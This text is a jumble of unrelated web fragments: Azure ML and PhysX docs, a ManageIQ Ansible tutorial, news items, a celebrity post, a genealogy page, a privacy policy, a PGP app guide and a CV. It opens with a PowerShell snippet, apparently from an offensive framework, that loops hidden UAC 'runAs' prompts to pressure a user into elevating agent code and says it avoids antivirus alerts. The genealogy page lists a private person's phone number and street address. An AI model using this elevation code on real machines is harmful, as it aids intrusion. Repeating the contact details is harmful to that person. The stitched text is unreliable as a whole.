Leverages Start-Process' -Verb runAs option inside a"
" YES-Required loop to prompt the user for a high integrity context before running the agent code."
" UAC will report Powershell is requesting Administrator privileges."- " Because this does not use the BypassUAC DLLs, it should not trigger any AV alerts."
Does not need Admin
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ask.rb
script = '''
if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1) {
while($True) {
try {
Start-Process "powershell" -ArgumentList "%s" -Verb runAs -WindowStyle hidden
"[*] Successfully elevated!"
break
}
catch {}
}
}
else {
"[!] User is not a local administrator!"
}
'''


+
-
reset
Power Saving Mode:
Power Saving mode:
London
Paris
Moscow
New York City
Melbourne
Amsterdam


Home
Challenge 1
Challenge 2
Challenge 3
Challenge 4
Challenge 6
Code Editor
HTML
CSS
Erase
By: Josh Hickman


Configure the R environment to be used for training or web service
deployments. When you submit a run or deploy a model, Azure ML builds a
Docker image and creates a conda environment with your specifications from
your Environment
object within that Docker container.
If the custom_docker_image
parameter
is not set, Azure ML automatically uses a default base image (CPU or GPU
depending on the use_gpu
flag) and installs any R packages specified in the
cran_packages
, github_packages
, or custom_url_packages
parameters.
TODO: link to the Dockerfiles of the default base images.
r_environment(name, version = NULL, environment_variables = NULL, cran_packages = NULL, github_packages = NULL, custom_url_packages = NULL, custom_docker_image = NULL, image_registry_details = NULL, use_gpu = FALSE, shm_size = NULL)
| name | A string of the name of the environment. |
|---|---|
| version | A string of the version of the environment. |
| environment_variables | A named list of environment variables names and values. These environment variables are set on the process where the user script is being executed. |
| cran_packages | A character vector of CRAN packages to be installed. |
| github_packages | A character vector of GitHub packages to be installed. |
| custom_url_packages | A character vector of packages to be installed from local directory or custom URL. |
| custom_docker_image | A string of the name of the Docker image from
which the image to use for training or deployment will be built. If not set,
a default CPU-based image will be used as the base image. To use an image
from a private Docker repository, you will also have to specify the
|
| image_registry_details | A |
| use_gpu | Indicates whether the environment should support GPUs.
If |
| shm_size | A string for the size of the Docker container's shared
memory block. For more information, see
Docker run reference
If not set, a default value of |
The Environment
object.
Once built, the Docker image appears in the Azure Container Registry associated with your workspace, by default. The repository name has the form azureml/azureml_<uuid>. The unique identifier (uuid) part corresponds to a hash computed from the environment configuration. This allows the service to determine whether an image corresponding to the given environment already exists for reuse.
If you make changes to an existing environment, such as adding an R package, a new version of the environment is created when you either submit a run, deploy a model, or manually register the environment. The versioning allows you to view changes to the environment over time.
The following example defines an environment that will use the default base CPU image and install the additional e1071 package from CRAN.
r_env <- r_environment(name = 'myr_env', version = '1', cran_packages = c('e1071'))


|
Greetings Colonel Rich-- Pastor O'Brian had mentioned that a guy out of Washington State named Jim Ramm was not trusted and that some photos somehow connected to Ram had ended up in the newspapers. Now we have confirmation that this man's real last name is Ramsey. Also it's very interesting that just after contact with Jim Ramsey, Jerry Harbin here in Arizona was featured in a Morris Dees Southern Poverty Law Center report! Respectfully, Bob i’m is proud to present Cause Effect, a series about real people making a difference. Learn more |


China ‘resolutely’ backs Hong Kong leader despite polls setback
by The Online CitizenChina said Monday it supports Hong Kong’s embattled leader Carrie Lam, after the pro-democracy camp scored a crushing victory in community-level elections in the city after months of violence.
The result was a humiliating rebuke to Beijing and Lam, who has dismissed calls for political reform and had repeatedly suggested that a silent majority supported her administration and opposed the protest movement.
“China’s central government resolutely supports chief executive Carrie Lam’s leadership of the Special Administrative Region government,” said foreign ministry spokesman Geng Shuang at a regular press briefing.

Geng said the government also supported the police and judiciary in Hong Kong in “punishing relevant violent and illegal behaviours.”
“The Chinese government’s resolve to protect national sovereignty, security and development interest has not faltered. Its resolve to carry out one country, two systems has not faltered,” he said.
Lam said earlier Monday that her government would “listen humbly” to the public.
Candidates favouring greater democracy seized an overwhelming majority of the 452 seats in the city’s 18 district councils.
– AFP


Comparator
interface which don't fulfill its contract.
Some method references like Integer::max
can be mapped to the Comparator
interface.
However using them as Comparator
is meaningless and the result might be unpredictable.
Example:
ArrayList<Integer> ints = foo(); ints.sort(Math::min);
After the quick-fix is applied, the result looks like this:
ArrayList<Integer> ints = foo(); ints.sort(Comparator.reverseOrder());
New in 2016.3


Embedded Ansible — Part 3, Ansible in an Automation Workflow
Part one of this series described the functionality for using built-in roles to perform tasks with Ansible playbooks rather than Ruby methods in Fine. Part two of this series looked at how host lists and input parameters can be passed to embedded Ansible playbook services and methods. This article will discuss how a playbook method can form part of a larger automation workflow by interacting with the ManageIQ Automate workspace.
The Automate Workspace
One of the challenges when using embedded Ansible playbook methods is interacting with other stages of an automation workflow. For example these might be prior to or succeeding Ruby or Ansible methods running in a sequence or state machine.
The interaction is performed using Automate workspace objects and attributes, and fortunately an href to the current workspace (along with a credential token to access it) is passed into each playbook method as the extra_var "{{ manageiq.automate_workspace }}"
.
What is the Workspace?
The Automate workspace is a memory area that holds all of the objects involved in the automation workflow. Each Automate instance that is invoked during the workflow, whether from initial launch, from a relationship or state in another class instance, or a call to $evm.instantiate
, creates a new object in the workspace.
Workspace objects are arranged in a parent-child hierarchy with the topmost object being the root object. A typical set of workspace objects as seen from part-way through the VM Provision state machine might be as follows:
/ManageIQ/System/Process/AUTOMATION ($evm.root)
| /ManageIQ/infrastructure/VM/Lifecycle/Provisioning
| | /ManageIQ/Infrastructure/VM/Provisioning/Profile/EvmGroup-super_administrator
| | /ManageIQ/Infrastructure/VM/Provisioning/StateMachines/VMProvision_vm/template ($evm.parent)
| | | /ManageIQ/Infrastructure/VM/Provisioning/StateMachines/Methods/CustomizeRequest
| | | /Configuration/OpenShift/Parameters/default
| | | /Investigative_Debugging/Discovery/ObjectWalker/object_walker ($evm.object)
| | | | /Investigative_Debugging/Discovery/ObjectWalker/configuration
The stored attributes of any object in the workspace can be retrieved from a running Ansible playbook method, which can also save attributes and values back to the root object.
The workspace can be accessed from a running playbook method using the manageiq-core.manageiq-automate role described in part one of this series.
Workspace Objects
The workspace contains all of the objects that have been instantiated in the automation workflow so far. These include the root object ($evm.root
in Ruby-speak) and any instance that has been loaded via a relationship or state field in an Automate class instance, or via $evm.instantiate
from a Ruby method. It is often useful to be able to query the current objects in the workspace from an Ansible playbook method.
Listing Workspace Objects
The get_object_names
function retrieves the names of the objects currently loaded into the workspace, for example:
- name: Get the full list of objects/instances in the workspace (get_object_names)
manageiq_automate:
workspace: "{{ workspace }}"
get_object_names: yes
register: workspace_object_names
- debug: msg="Result:"
The output is as follows:
TASK [Get the full list of objects/instances in the workspace (get_object_names)] ***
ok: [localhost]
TASK [debug] *******************************************************************
ok: [localhost] => {"msg": "Result:[
u'root',
u'/ManageIQ/System/Request/call_instance',
u'/pemcg/Stuff/StateMachines/Methods/state1',
u'/Configuration/OpenShift/Parameters/default',
u'/pemcg/stuff/statemachines/threestate/manageiq-automate-test']”
}
Accessing Workspace Object Attributes
An Ansible playbook method can also access any attribute defined in any other object/instance in the workspace. This makes it possible to access attributes saved into $evm.root
by a prior Ruby method, or even defined in a configuration domain as long as the configuration domain instance has been loaded into the workspace. This can be done either from a relationship in an existing workspace instance schema, or using $evm.instantiate
from a prior Ruby method.
There are seven functions in the manageiq-automate
role that deal with object attributes. These are:
get_object_attribute_names
attribute_exists
get_attribute
get_decrypted_attribute
set_attribute
set_attributes
set_encrypted_attribute
Their use is illustrated as follows:
get_object_attribute_names
The get_object_attribute_names
function lists the readable attributes of any object loaded into the workspace (hint: use get_object_names
to confirm that the object is loaded first).
This example lists the queryable attributes in the configuration domain /Configuration/OpenShift/Parameters/default
- name: Get the full list of configuration domain attribute names (get_object_attribute_names)
manageiq_automate:
workspace: "{{ workspace }}"
get_object_attribute_names:
object: "/Configuration/OpenShift/Parameters/default"
register: configuration_domain_attribute_names
- debug: msg="Result:"
The output is as follows:
TASK [Get the full list of configuration domain attribute names (get_object_attribute_names)] ***
ok: [localhost]
TASK [debug] *******************************************************************
ok: [localhost] => {
"msg": "Result:[u'auth_type', u'infra_vm_memory', u'lb_host', u'container_storage', u'openshift_vers', u'master_vm_memory', u'ipam_network', u'nfs_registry_mountpoint', u'::miq::parent', u'app_vm_memory', u'addr_mode', u'deployment_type', u'byo_lb', u'rhel_subscription_pass', u'customization_template', u'ldap_user', u'byo_nfs', u'rhel_subscription_pool', u'app_dns_prefix', u'nfs_registry_host', u'console_port', u'openshift_hosted_metrics_deploy', u'provider_vlan', u'openshift_sdn']"
attribute_exists
Rather than list all readable attributes of a loaded workspace object, it is possible to just query whether a single attribute is present using the attribute_exists
function, for example:
- name: Check if an object/instance attribute exists (attribute_exists)
manageiq_automate:
workspace: "{{ workspace }}"
attribute_exists:
object: "/Configuration/OpenShift/Parameters/default"
attribute: "rhel_subscription_pool"
register: attribute_exists
- debug: msg="Result:"
The output is as follows:
TASK [Check if an object/instance attribute exists (attribute_exists)] *********
ok: [localhost]
TASK [debug] *******************************************************************
ok: [localhost] => {
"msg": "Result:True"
}
get_attribute
The get_attribute
function allows the playbook to read an attribute from an object. This example shows the playbook reading the value of the rhel_subscription_pool
attribute from the configuration domain instance:
- name: Get the "rhel_subscription_pool" attribute from a configuration domain instance (get_attribute)
manageiq_automate:
workspace: "{{ workspace }}"
get_attribute:
object: "/Configuration/OpenShift/Parameters/default"
attribute: "rhel_subscription_pool"
register: rhel_subscription_pool
- debug: msg="Result:"
The output is as follows:
TASK [Get the "rhel_subscription_pool" attribute from a configuration domain instance (get_attribute)] ***
ok: [localhost]
TASK [debug] *******************************************************************
ok: [localhost] => {
"msg": "Result:Red Hat OpenShift Container Platform, Premium*"
}
The previous example read an attribute statically defined in a configuration domain instance. This next example uses the same function to read a more dynamic attribute that has been saved as $evm.root[‘ipam_password’]
by a prior Ruby task in the workflow:
- name: Get the value of the "ipam_passwd" attribute defined by a prior Ruby method (get_attribute)
manageiq_automate:
workspace: "{{ workspace }}"
get_attribute:
object: root
attribute: "ipam_passwd"
register: ipam_password
- debug: msg="Result:"
get_decrypted_attribute
If an attribute of type “password” has been stored in an instance then it can be accessed and decrypted using the get_decrypted_attribute
function, for example:
- name: Get the "ldap_user_password" encrypted attribute from a configuration domain instance (get_decrypted_attribute)
manageiq_automate:
workspace: "{{ workspace }}"
get_decrypted_attribute:
object: "/Configuration/OpenShift/Parameters/default"
attribute: "ldap_user_password"
register: ldap_user_password
- debug: msg="Result:"
The output is as follows:
TASK [Get the "ldap_user_password" encrypted attribute from a configuration domain instance (get_decrypted_attribute)] ***
ok: [localhost]
TASK [debug] *******************************************************************
ok: [localhost] => {
"msg": "Result:{u'attribute': u'ldap_user_password', u'object': u'/Configuration/OpenShift/Parameters/default', u'value': u'secret_ldap_password'}"
}
Attributes can also be written back into workspace objects (usually the root object) using the set_attribute
, set_attributes
and set_encrypted_attribute
functions, as follows. Attributes written in this way are readable by a subsequent Ruby method in the workflow as $evm.root[‘<attribute_name>’]
.
set_attribute
- name: Set a "domain_name" root attribute (set_attribute)
manageiq_automate:
workspace: "{{ workspace }}"
set_attribute:
object: "root"
attribute: "domain_name"
value: "company.org"
set_attributes
- name: Set several IPAM-related root attributes (set_attributes)
manageiq_automate:
workspace: "{{ workspace }}"
set_attributes:
object: "root"
attributes:
ipam_ip_address: "<IP_ADDRESS>"
ipam_netmask: "<IP_ADDRESS>"
ipam_gateway: "<IP_ADDRESS>"
set_encrypted_attribute
- name: Encrypt a "root_passwd" object attribute (set_encrypted_attribute)
manageiq_automate:
workspace: "{{ workspace }}"
set_encrypted_attribute:
object: root
attribute: "root_passwd"
value: "very_very_secret"
The following code snippet in a Ruby method called after the Ansible playbook method in the workflow will access and log the saved attributes, as follows:
$evm.log(:info, "ip_address from Ansible = #{$evm.root['ipam_ip_address']}")
$evm.log(:info, "netmask from Ansible = #{$evm.root['ipam_netmask']}")
$evm.log(:info, "gateway from Ansible = #{$evm.root['ipam_gateway']}")
$evm.log(:info, "root_passwd from Ansible = #{$evm.root.decrypt('root_passwd')}")
...<AEMethod state3> ip_address from Ansible = <IP_ADDRESS>
...<AEMethod state3> netmask from Ansible = <IP_ADDRESS>
...<AEMethod state3> gateway from Ansible = <IP_ADDRESS>
...<AEMethod state3> root_passwd from Ansible = very_very_secret
Updating the Options Hash during VM Provisioning
The manageiq-vmdb role can be used to update the provisioning task’s options hash when a playbook method is run from the VM Provision state machine. The API path to the task is passed into the playbook automatically as the extra_var "{{ manageiq.request_task }}"
, and this can be used with an edit
action and an options
data payload, as follows:
roles:
- manageiq-core.manageiq-vmdb
tasks:
- name: Update task with new IP information
manageiq_vmdb:
href: "{{ manageiq.request_task }}"
action: edit
data:
options:
addr_mode: ["static", "Static"]
ip_addr: "{{ ip_addr }}"
subnet_mask: "{{ netmask }}"
gateway: "{{ gateway }}"
Summary
In Part three of this series, we have looked at how an embedded Ansible playbook can participate in a ManageIQ automation workflow that is made up of several Ruby and Ansible playbook methods.
Part four will look at the particular case of Ansible playbook methods that run from a state machine.


utility functions for use with PxShape
More...
#include <PxShapeExt.h>
|
| static PX_INLINE PxTransform | getGlobalPose (const PxShape &shape, const PxRigidActor &actor) |
| | Retrieves the world space pose of the shape. More...
|
| |
| static PX_INLINE PxU32 | raycast (const PxShape &shape, const PxRigidActor &actor, const PxVec3 &rayOrigin, const PxVec3 &rayDir, PxReal maxDist, PxHitFlags hitFlags, PxU32 maxHits, PxRaycastHit *rayHits) |
| | Raycast test against the shape. More...
|
| |
| static PX_INLINE bool | overlap (const PxShape &shape, const PxRigidActor &actor, const PxGeometry &otherGeom, const PxTransform &otherGeomPose) |
| | Test overlap between the shape and a geometry object. More...
|
| |
| static PX_INLINE bool | sweep (const PxShape &shape, const PxRigidActor &actor, const PxVec3 &unitDir, const PxReal distance, const PxGeometry &otherGeom, const PxTransform &otherGeomPose, PxSweepHit &sweepHit, PxHitFlags hitFlags) |
| | Sweep a geometry object against the shape. More...
|
| |
| static PX_INLINE PxBounds3 | getWorldBounds (const PxShape &shape, const PxRigidActor &actor, float inflation=1.01f) |
| | Retrieves the axis aligned bounding box enclosing the shape. More...
|
| |
utility functions for use with PxShape
- See also
- PxShape
◆ getGlobalPose()
◆ getWorldBounds()
◆ overlap()
◆ raycast()
Raycast test against the shape.
- Parameters
-
| [in] | shape | the shape |
| [in] | actor | the actor to which the shape is attached |
| [in] | rayOrigin | The origin of the ray to test the geometry object against |
| [in] | rayDir | The direction of the ray to test the geometry object against |
| [in] | maxDist | Maximum ray length |
| [in] | hitFlags | Specify which properties per hit should be computed and written to result hit array. Combination of PxHitFlag flags |
| [in] | maxHits | max number of returned hits = size of 'rayHits' buffer |
| [out] | rayHits | Raycast hits information |
- Returns
- Number of hits between the ray and the shape
- See also
- PxRaycastHit PxTransform
References PxGeometryHolder::any(), PxShape::getGeometry(), and PxGeometryQuery::raycast().
◆ sweep()
Sweep a geometry object against the shape.
Currently only box, sphere, capsule and convex mesh shapes are supported, i.e. the swept geometry object must be one of those types.
- Parameters
-
| [in] | shape | the shape |
| [in] | actor | the actor to which the shape is attached |
| [in] | unitDir | Normalized direction along which the geometry object should be swept. |
| [in] | distance | Sweep distance. Needs to be larger than 0. |
| [in] | otherGeom | The geometry object to sweep against the shape |
| [in] | otherGeomPose | Pose of the geometry object |
| [out] | sweepHit | The sweep hit information. Only valid if this method returns true. |
| [in] | hitFlags | Specify which properties per hit should be computed and written to result hit array. Combination of PxHitFlag flags |
- Returns
- True if the swept geometry object hits the shape
- See also
- PxGeometry PxTransform PxSweepHit
References PxGeometryHolder::any(), PxShape::getGeometry(), and PxGeometryQuery::sweep().
The documentation for this class was generated from the following file:


The dropdown control can have it's autocomplete functionality disabled by way of setting the "noSearch" option to true. In this mode you can type the first character to select. Additionally, a bug in iOS prevented this from working properly before


‘Sports Illustrated’ Cover Model Kate Upton Sizzles In Beachside Snap
November 21, 2019
‘Sports Illustrated’ Cover Model Kate Upton Sizzles In Beachside Snap
Model Kate Upton looked fabulous in a beachside snap she shared on Instagram Thursday.
In the photo, the beauty was sitting on a beach with large rock formations in the background. It appeared to be a cloudy day, but Kate looked like a ray of sunshine with her bright smile. The picture captured her as the water rolled ashore inches from her feet. She wore a white satin top with a pair of matching shorts. While not much of the outfit could be seen, it was clear that it was a sexy number with spaghetti straps and a low-cut neck. The shorts showed off plenty of her long legs, which were covered with sand.
For the shot, Kate paired the set with a chunky grey, cable knit sweater that fell loosely off of one shoulder. She sat with one elbow on a knee and her hand in her hair.
The blond bombshell wore a full face of makeup for the shot, including dark brows, smoky eye shadow and bight red lipstick. Her hair was tossed to one side and fell in loose waves as she smiled.
The photo appeared to be from one of her photoshoots, as she shared another picture explaining to her followers that it was the view she had during the shoot, as opposed to what her photographers were seeing. The photo showed one man holding up a large white panel and another man on his knees taking her photo. Her pet dog sat between the two men.
Many of Kate’s 6.1 million followers loved how she looked in the photo, leaving behind heart and smiley face emoji.
“Gawd you’re beautiful,” commented one admirer.
“Could you be any more perfect,” a second follower wrote.
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However, some of her fans were impressed with her dog.
“I am surprised that sweet dog doesn’t jump on you with lots of love and kisses. Such a patient baby,” a third follower wrote.
“Love that you bring the doggo to work,” said a fourth fan.
Though this capture was Kate at work, the model doesn’t seem to mind sharing photos of her personal life online. Her updates include everything from her attending baseball games of her husband, Justin Verlander, to events she attends — and even her dog. She recently shared a sweet photo of her and her daughter, Genevieve, on her first birthday. The Sports Illustrated Swimsuit Issue model also likes to share encouraging posts about health and fitness.


Welcome to my page here. Just like all of you I am a pursuing student here and it's fun and exciting to be a part of such a wonderful and great community.
Here are some insights in my life. Hope you like them!
My name's Rishabh Jain.
I am from Biratnagar, Nepal.
I am born on 19th of June 2000.
This is a link to my Facebook page:
Rishabh Jain
| Inland | Abroad |
|---|---|
| Goa | Paris |
| Ladakh and Leh | New York |
| Kerela | Hawaii |
It's fun expressing myself here and I cannot find anything else to presently write here....hehe! Will be back soon with some more interesting stuff.


Choose Your Calendar
Choose the calendar you want to compare with your friends
{% if session.calendars is defined %}
{% for cal in session.calendars if cal.selected %}
{{ cal.summary }}
{% endfor %}
{% endif %}
Submit
{% if session.link is defined %}
Your link to share is: {{ session.link }}
{% endif %}


Frazer, Georgina
| Birth Name | Frazer, Georgina |
| Gender | female |
| Age at Death | 31 years, 2 months, 5 days |
Narrative
Georgina's family lived in Huntley Street, Inverness. John Fraser was a cooper, Their mothers maiden name was Helen Harvey..
Eliza Fraser, aged 21, and Georgina Fraser, aged 18, arrived per 'St Helena' on 10 Dec 1854.
Shipping records said both parents had died by 1854.
Baby George and Georgina buried at Bathurst Cemetery.
12/11/02 - Phone call from Cheryl Rolfe - 8 Gough St, Emu Plains 2750. Phone 047.351.478.
I have been looking for Eliza Frazer for nearly 20 years, Cheryl said she married Wilhem Stieme at Scots Church, Sydney; he was an Orchardist & they lived in Prospect which is not far from Parramatta. Gysbert & Mary Ann Bongers were Florists & had a shop in Church St, Parramatta.
Events
| Event | Date | Place | Description | Sources |
|---|---|---|---|---|
| Birth | 1837-07-05 | Inverness, Scotland | ||
|
|
||||
| Christening | Church of Scotland | |||
|
|
||||
| Death | 1868-09-10 | Bathurst, NSW | ||
|
|
||||
| Burial | Bathurst Cemetry, Bathurst NSW | |||
|
|
Parents
| Relation to main person | Name | Birth date | Death date | Relation within this family (if not by birth) |
|---|---|---|---|---|
| Father | Fraser, John | |||
| Mother | Harvey, Helen | |||
| Sister | Fraser, Janet | 1830-06-29 | ||
| Brother | Fraser, Alexander | 1831-05-27 | ||
| Sister | Fraser, Elizabeth | 1832-04-06 | 1905-09-17 | |
| Sister | Fraser, Mary | 1834-03-19 | ||
| Sister | Fraser, Helen | 1836-06-24 | ||
| Frazer, Georgina | 1837-07-05 | 1868-09-10 | ||
| Brother | Fraser, Thomas | 1839-08-22 |
Families
Family of Bongers, Gijsbert [Gysbert] and Frazer, Georgina |
|||||||||||||||||
| Married | Husband | Bongers, Gijsbert [Gysbert] ( * 1831-07-19 + 1898-05-21 ) | |||||||||||||||
|
|||||||||||||||||
| Children |
| Name | Birth Date | Death Date |
|---|---|---|
| Bongers, Hendrick John (Compositor) | 1859-08-28 | 1939-01-14 |
| Bongers, John | 1861-05-30 | 1957-05-30 |
| Bongers, Gysbert (2nd) | 1863-04-13 | 1936-12-19 |
| Bongers, George | 1866-12-16 | 1866-12-21 |
| Type | Value | Notes | Sources |
|---|---|---|---|
| _UID | A7FCFA65E5C4D5119853B7EB0FA9CA6D0D32 |
Attributes
| Type | Value | Notes | Sources |
|---|---|---|---|
| _UID | BEFCFA65E5C4D5119853B7EB0FA9CA6D24A2 |


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Application Auto Scaling ScalingPolicy PredefinedMetricSpecification
Use the PredefinedMetricSpecification
property to configure a predefined
metric for a target tracking policy to use with Application Auto Scaling.
PredefinedMetricSpecification
is a subproperty of the Application Auto Scaling ScalingPolicy TargetTrackingScalingPolicyConfiguration property.
Syntax
To declare this entity in your AWS CloudFormation template, use the following syntax:
JSON
{ "PredefinedMetricType" :
String
, "ResourceLabel" :String
}
YAML
PredefinedMetricType:
String
ResourceLabel:String
Properties
For more information about each property, including constraints and valid values, see PredefinedMetricSpecification in the Application Auto Scaling API Reference.
PredefinedMetricType
-
The metric type.
Required: Yes
Type: String
Update requires: No interruption
ResourceLabel
-
Identifies the resource associated with the metric type. You can't specify a resource label unless the metric type is
ALBRequestCountPerTarget
and there is a target group attached to the Spot fleet request or ECS service.The format is app/<load-balancer-name>/<load-balancer-id>/targetgroup/<target-group-name>/<target-group-id>, where:
-
app/<load-balancer-name>/<load-balancer-id> is the final portion of the load balancer ARN
-
targetgroup/<target-group-name>/<target-group-id> is the final portion of the target group ARN.
Required: No
Type: String
Length constraints: Minimum length of 1. Maximum length of 1023.
Update requires: No interruption
-


The incident happened around 10.30pm in Gill Lane, Longton.
Police say the man was knocked from his bike and was taken by ambulance to the Royal Preston Hospital.
A spokesman said today: "All I can say at this stage is a male cyclist was in collision with a car.
"He suffered some serious head injuries and was taken to RPH. We are awaiting an update."


We are here to listen from you deliver exellence
Volunteering is generally considered an altruistic activity where an individual or group provides services for no financial or social gain to benefit another person, group or organization".Volunteering is also renowned for skill development and is often intended to promote goodness or to improve human quality of life. Volunteering may have positive benefits for the volunteer as well as for the person or community served. It is also intended to make contacts for possible employment. Many volunteers are specifically tr ained in the areas they work, such as medicine, education, or emergency rescue. Others serve on an as-needed basis, such as in response to a natural disaster.
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{% extends "base.html" %} {% block head_title %}Privacy Policy{% endblock %} {% block main %}
Last updated: September 6, 2020.
Matt Layman (“us”, “we”, or “our”) operates https://www.theschooldesk.app/ (the “Site”). This page informs you of our policies regarding the collection, use and disclosure of Personal Information we receive from users of the Site.
We use your Personal Information only for providing and improving the Site. By using the Site, you agree to the collection and use of information in accordance with this policy.
While using our Site, we may ask you to provide us with certain personally identifiable information that can be used to contact or identify you. Personally identifiable information may include, but is not limited to your name (“Personal Information”).
Like many site operators, we collect information that your browser sends whenever you visit our Site (“Log Data”).
This Log Data may include information such as your computer’s Internet Protocol (“IP”) address, browser type, browser version, the pages of our Site that you visit, the time and date of your visit, the time spent on those pages and other statistics.
In addition, we may use third party services such as Google Analytics that collect, monitor and analyze this type of information in order to increase our Service’s functionality. These third party service providers have their own privacy policies addressing how they use such information.
We may use your Personal Information to contact you with newsletters, marketing or promotional materials and other information that may be of interest to you. You may opt out of receiving any, or all, of these communications from us by following the unsubscribe link or instructions provided in any email we send.
Cookies are files with small amount of data, which may include an anonymous unique identifier. Cookies are sent to your browser from a web site and stored on your computer’s hard drive.
Like many sites, we use “cookies” to collect information. You can instruct your browser to refuse all cookies or to indicate when a cookie is being sent. However, if you do not accept cookies, you may not be able to use some portions of our Site.
The security of your Personal Information is important to us, but remember that no method of transmission over the Internet, or method of electronic storage, is 100% secure. While we strive to use commercially acceptable means to protect your Personal Information, we cannot guarantee its absolute security.
This Privacy Policy is effective as of September 6, 2020 and will remain in effect except with respect to any changes in its provisions in the future, which will be in effect immediately after being posted on this page.
We reserve the right to update or change our Privacy Policy at any time and you should check this Privacy Policy periodically. Your continued use of the Service after we post any modifications to the Privacy Policy on this page will constitute your acknowledgment of the modifications and your consent to abide and be bound by the modified Privacy Policy.
If we make any material changes to this Privacy Policy, we will notify you either through the email address you have provided us, or by placing a prominent notice on our website.
If you have any questions about this Privacy Policy, please contact us.


I’m only new at a lot of this, so go easy on me :)
I’m looking for ways to best manage the development and release cycle of Virtue and any other apps I have on the boil. At present, I use what I know - coding and compilation is done in Xcode, I manage all my code using Subversion, and I track issues (personally, it isn’t publicly available) using Trac. This works pretty well for me, but there are still things that bug me:
- Xcode’s speed: granted Virtue does what certain other people have been saying is a bad idea - it is composed of three frameworks, a carbon bundle, a static library and the application itself. I plan on taking a good hard look at this come the 0.6 development cycle.
- Xcode’s subversion support: it seems flaky… that could just be me though…
- Release versioning: At present, each build I release in the 0.5 cycle is automatically stamped with the current revision from my subversion repository. I’m not sure this is a great idea given the number of components, but it’s working so far (except when I want to do an official release, then I need to change the versions manually in the plist). Should I consider dropping versions for development builds entirely?
- Release distribution and notification: Well, if you’ve been following my releases here, you’ve been getting the whole show. Personally, I don’t want to be making releases on my blog – especially development releases. I’d love to set-up an appcast, but I haven’t found the time - can anyone recommend a product?
If anyone has suggestions or ideas (or even just the words ‘Hi!’), please post away - I’d love feedback!


Safe and efficient:
• A powerful decentralized encryption system.
• Don't worry about any privacy leakage .
Uniclog brings exceptional work collaboration experience to you and your team. It integrates work collaboration, communication, and file sharing into one simplistic App, so you can synchronize files, work logs, and communications anywhere anytime flawlessly in office or on the go. Communicate, report, synchronize and review work progress with remote team and staff. Send, receive and share files among teams around the world. Save time on communicating essential information on real time, and skip the clumsy and tedious emails and ERP workflow. You can find and access your team and your work, whether you’re at your desk or on the go.


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Guide
-
- For PCs, you can download an executable for Linux (.deb and .rpm), macOS, and Windows 7+ x64 at https://www.magicpad.io
- To install MagicPad as a progressive web app on Chrome, visit https://app.magicpad.io and click on the the three dot icon located on the top right then click on "Install MagicPad".
- To "install" on iOS, visit https://app.magicpad.io in a web browser (e.g., Safari) and click on center button located on the bottom (looks like a box with an up arrow) then find and tap "Add to Home Screen" in the bottom slider menu.
- To "install" on Android, visit https://app.magicpad.io in web browser (e.g., Chrome) and click on the three dot icon located on the top right then tap "Add to Home screen".
-
- Click on "Keys" tab then "Create new private and public key set +".
- Fill in all the information in the form. *The email in the form will be used to search for your public key by others.
- Download the generated keys. For mobile, it is easier to use image keys, so save the image keys to your photo library. You can always convert the image keys to regular keys. Non-image and image keys are completely interchangeable.
- After you've downloaded your keys, you can upload your public key via the key server browser.
-
- Click on "Keys" tab then "Browse" under "Access key servers".
- Select "Search" tab on the popup.
- Input the email or public key fingerprint to the search box and click on "Search".
- You can download the results as a regular .asc key, as an image key, or copy it to your clipboard to be pasted.
-
- Click on "Keys" tab then import the recipient's public key.
- Make sure to check the public key's fingeprint on MagicPad against the source that provided you the key.
- If you want to sign your message, import your private key. Signing your message allows the recipient to verify your identity with your public key.
- Click on "Write" tab then write any message you'd like.
- You can hide your encrypted message in an image (a steganograph) by clicking on "Select steganograph host" to select an image.
- Click on "Encrypt" then you can send the encrypted message and/or steganograph via any transmission method. For example: You can post your message to MagicPost anonymously only using your key fingerprint.
-
- Click on "Keys" tab then import your private key.
- Optional: Import the message sender's public key just in case the message is signed.
- Click on the "Read" tab then paste the encrypted message in the textbox. You can also import a steganograph.
- Click on "Decrypt".
-
- For encrypting attachments, click on "Keys" tab then import the recipient's public key. For decrypting attachments, import your private key.
- If you're encrypting attachments, make sure to check the public key's fingerprint on MagicPad against the source that provided you the key.
- Click on "Attach" tab then choose whether you want to encrypt or decrypt an attachment.
- Select a file to encrypt / decrypt.
- Click on "Encrypt" / "Decrypt".
- Download the processed file. You can send encrypted attachments via any transmission method.
-
- You can distribute your public key in many ways. Physically (usb drive, etc) and key distribution sites (search for: PGP Key server).
- Image keys are only readable by MagicPad. However, you can convert them to regular .asc keys in the "Keys" tab. They are interchangeable.
- You can use your key pair with any email or any transmission method. The inputted email just allows easy identification of the key holder.
- Your email attached to the key pair is only used to search for the key in key servers. You can use them however you like.
- For maximum security, use MagicPad on an air-gapped computer. An air-gapped computer is an offline computer that will always stay offline. All decrypted / unencrypted information should stay in the airgapped computer and only encrypted data should go out via a physical media (i.e., USB drive). For example: You can copy a received encrypted message to a USB drive and decrypt it in the air-gapped computer. Vice-versa.
- Use different key pairs per use / person.
- Rotate your key pairs. Update your key pair frequently as you can or per use / person.


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B. S. Computer Science | January 2018 - December 2019 | Advisor: Dr. Beomjin Kim
B. E. Computer Science | March 2014 - Feburary 2020
Dual Degree Program Scholar
Menu interfaces to avoid disembodiment situations in virtual reality
Advised by Dr. Beomjin Kim | Purdue University Fort Wayne IAV Center | Present
DescriptionsImprovement to Pix2Code using Fast.ai: Automatic Generation of GUI with a Model Classification
Advised by Dr. Venkata Inukollu | Software Engineering | Fall 2019 - Spring 2020 | Student Research Symposium 2020
PosterIndoor Navigation: Improved Accessibility for People with Disabilities
Advised by Dr. Beomjin Kim | Fall 2018 - Spring 2019 | Senior Capstone Design Awards
Nicholas Burnard, Haemin Ryu, Michael Wolgast, Min Namgung, Zarni Mon
PosterACM User Interface Software and Technology Symposium 2022, USD 1,338
Arizona State University (ASU), StateFarm
Indiana Bond Bank, USD 270
Purdue University
IEEE/ACM International Conference on Software Engineering, USD 500
Purdue Global, IEEE/ACM INternational Conference on Automated Software Engineering, USD 1,164.83
Purdue University Fort Wayne, Department of Computer Science
PFW 50 Committee
PFW College of Engineering, Technology, and Computer Science
Division of International Affairs, Seoul Women's University, 2-year full tuition
Creative Center of Seoul Women's University (WOW), KRW 300,000
LikeLion
College of Informatics and Media, Seoul Women's University, 2 semesters full tuition
CS36000 - Software Engineering
Purdue University | Fall 2018 - Fall 2019
CS 16000 - Intro to Computer Science I (Java)
Purdue University | Summer 2019
CirrusABS Corporation | January 2020 - Present
